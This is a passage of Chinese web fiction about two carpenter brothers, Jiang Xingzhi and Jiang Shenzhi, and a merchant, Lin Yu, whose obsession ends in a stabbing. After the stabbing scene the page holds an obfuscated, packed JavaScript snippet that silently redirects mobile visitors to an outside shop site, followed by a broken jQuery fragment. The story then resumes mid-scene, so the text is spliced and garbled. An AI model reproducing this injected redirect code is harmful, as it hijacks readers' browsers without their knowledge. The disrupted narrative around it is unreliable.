【江行之的路】
江行之第一次见到林俞，是在京城的一条巷子里。
那年他二十四，江慎之二十一。兄弟俩从临海来京城三年了，木匠活做得不温不火，勉强糊口。那天傍晚，他从客户家出来，抄近路回作坊，在巷子里看见一个人蹲在路边，面前是一堆散架的凳子腿。
那人抬起头，年轻，清瘦，眼睛下面没有青黑，脸上还有一层薄薄的红。
“你会修凳子吗？”他问。
江行之蹲下来，看了看那些木头。榫头断了，也不是好木料。
但他还是说：“能修。”
那人笑了，露出一口白牙。“太好了，我找了半天，没人愿意修这个。说是修的钱够买新的了。”
“新的没有旧的好坐。”江行之说。
那人愣了一下，又笑了。眼前的人不知道，这是他母亲曾经做过的椅子。
江行之把凳子腿抱起来，走出巷子，那人跟在他后面。“你住哪儿？远不远？”
“不远，就在前面。”
“我跟你去。”
江行之没拒绝。他这个人，不太会拒绝人。
作坊在一间破旧的铺面里，前面是门面，后面住人。江慎之正蹲在地上刨木头，看见江行之带了个陌生人回来，站起来，拍了拍身上的木屑。
“哥，这位是？”
“修凳子的。”江行之把木头放在地上，头也没抬，“客人。”
江慎之看了那人一眼，那人冲他笑了笑。
江慎之没笑，转身继续刨木头。
凳子修好了。那人坐在上面，试了试，满意地站起来。“多少钱？”
“十文。”
“太便宜了。”那人掏出二十文放在桌上，“剩下的算我请你喝茶。”
江行之没有推辞，把钱收进抽屉里。
那人站在门口，回头看了看这间破旧的铺面，又看了看蹲在地上的江慎之，最后目光落在江行之脸上。
“我叫林俞。”他说，“在城南开布庄。以后有家具活，我找你。”
“好。”江行之说。
林俞走了。江慎之放下刨子，走到门口，看着他的背影消失在巷子尽头。
“哥，那个人看你的眼神不对。”
江行之正在收拾工具，头也没抬。“哪里不对？”
江慎之没有回答。
林俞后来真的来找他们了。
先是修凳子，后来是打柜子，再后来是整间铺子的家具翻新。他的布庄生意不错，手头宽裕，每次来都带东西——一壶酒，一包点心，或者几块做家具用的好木料。
“我自己用不上，放着也是放着。”他说。
江行之不善言辞，每次都说“谢谢”，然后埋头干活。
林俞也不急着走，搬个小凳子坐在旁边，有一搭没一搭地说话。说生意，说京城，说临海——他知道江行之是临海人，知道临海的海鲜好吃，知道临海十年一次的祭海很热闹。
“你什么时候回去看看？”林俞问。
“不知道。”江行之说，“生意忙。”
林俞看了一眼蹲在旁边刨木头的江慎之，又看了一眼江行之。“慎之也不回去？”
“他不喜欢热闹。”江行之说。
江慎之没有抬头。
生意渐渐好起来了。江行之的手艺好，不偷工减料，活做得细，口碑传开了。林俞给他介绍了好几个客户，都是生意场上的朋友。江行之不懂应酬，每次都是林俞替他周旋，喝酒、应酬、说好话。
“你不用这样。”江行之有一次说。
“我愿意。”林俞说。
江行之看了他一眼，低下头，继续干活。
那天晚上，林俞喝多了。江行之把他扶到作坊后面的屋里，让他躺在自己床上。江慎之站在门口，看着林俞抓着江行之的手不放，看着江行之把手抽出来又被他抓住，看着江行之脸红了。
他转身出去了。
“哥。”他在门口站了很久，才开口。
“嗯？”
“你对林俞……”
“什么？”
江慎之沉默了一会儿。“没什么。”
林俞后来经常留宿。他的理由很多——太晚了，城门关了；明天一早要谈生意，住这里方便；酒喝多了，走不动。江行之即使拆穿他，他也还是赖在家里。
江慎之看着这一切，什么都没说。
他想问哥哥对林俞到底什么感觉，他只是不知道怎么开口。
哥哥是他在这个世界上唯一的亲人。父母从小不管他们，是哥哥一手把他拉扯大的。没有哥哥，他活不到今天。所以哥哥做什么，他都不拦。哥哥想跟谁好，他都不说。即使他喜欢那个人。
但他看得出，哥哥不喜欢林俞。不是讨厌，是不喜欢。哥哥对谁都这样——客客气气，不远不近。对林俞和对其他人，没什么区别。
林俞不一样。林俞看哥哥的眼神，和看别人不一样。那种眼神，江慎之从来没在哥哥眼睛里见过。
他有时候会想，如果林俞喜欢的是他，他会怎样？他不知道。因为他不是林俞喜欢的人。
他只是一个站在门口、看着哥哥被人喜欢的人。
那天，江行之说家里来信了，祭海快到了，得回去一趟。
“回去多久？”林俞问。
“不知道。来回路上要十来天，住几天，少说也得一个月。”
林俞沉默了很久。“你回去做什么？”
“参加祭海。老家的人都在，我也该回去看看。”
“有什么好看的？”
江行之皱了皱眉，“那是家乡。他们要给我张罗婚事。”
林俞没有再说话。
江慎之坐在角落里，看着林俞的脸色变了又变，看着哥哥低头收拾工具，什么都没说。
他们是在明珠小镇住的。
那天中午，江慎之出门买粥。等他回来的时候，看见哥哥倒在血泊之中，后心插着一把钢刀。不过哥哥的心和别人的位置不同，应该不会死吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594966|205164||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
他哭得很用力，声音很大，大到整层楼都能听见。
他哭不全是装的。他害怕，他怕哥哥就这样死了，他也怕自己成了帮凶。
医师来了，说刀没拔出来，出血慢，人还有救。江慎之跪在床边，握着哥哥的手，一遍一遍地叫“哥”。他叫的不是江行之，是——他说不清楚。
哥哥活下来了。他松了口气，又提起了心。他知道谁是凶手。
他每天出门买粥、买药、去医馆、去县衙。他不去县衙，他只是站在门口，站一会儿，转身走。他不知道自己在等什么。
也许是等林俞来，也许是等这一切结束。
晚上，他去城西的酒馆喝酒。他喝得很慢，一杯一杯，不醉。他看着窗外的月亮，想起临海的老家，想起小时候，想起他们刚来京城的时候。那时候什么都没有，但哥哥在，他就在。
现在哥哥还在，但他不知道自己在哪了。
林俞来的那天傍晚，他站在客栈门口，远远地就看见了他。
林俞走到他面前，握住他的手腕。他没有挣开。
“你不该来。”他说。
“我来看看他。”林俞说。
“你看了又能怎样？”
“我不知道。”林俞说，“但我不能不来。”
江慎之看着他。这个人，他喜欢了很久。从第一次在作坊门口，他冲他笑的那天起，他就知道，他完了。但他不能说。因为林俞喜欢的人不是他。
“是我做的。”林俞说。
“我知道。”
“你不恨我？”
我不知道。我只知道，你来了。
这句话，他说给自己听的。他知道林俞不会懂。但没关系，他不需要林俞懂。
白灵来找江行之的那个晚上，江慎之不在。
江行之靠在床上，看着窗外。月光照在他脸上，惨白，透明。
江慎之推门进来，“哥。”
“你知道谁雇人伤我吗？”江行之没有看他。
“……不知道。”
江行之沉默了。
江慎之转身，“哥，好好休息。”
他推开门，走了出去。走廊很长，也很暗。他走了很久，好像走了一辈子。
江行之伤好之后，离开了京城。
他没有告诉任何人。只是在一个清晨，收拾了几件衣服，把铺面的钥匙放在桌上，轻轻地关上了门。
街上没有人。他走了很远，停下来，回头看了一眼。
他想起刚来京城的那天，他和江慎之站在城门口，看着这座陌生的城市，什么都不知道，什么都不怕。
现在他什么都知道了，什么都怕了。
他转过身，继续走。
又十年，临海城已经大变样了。
换了日月，换了新天。
江行之站在人群里，看着海上的朝阳，想起很多年前，他还是个孩子的时候，牵着弟弟的手，走在沙滩上。
如今，他牵着的是他的希望。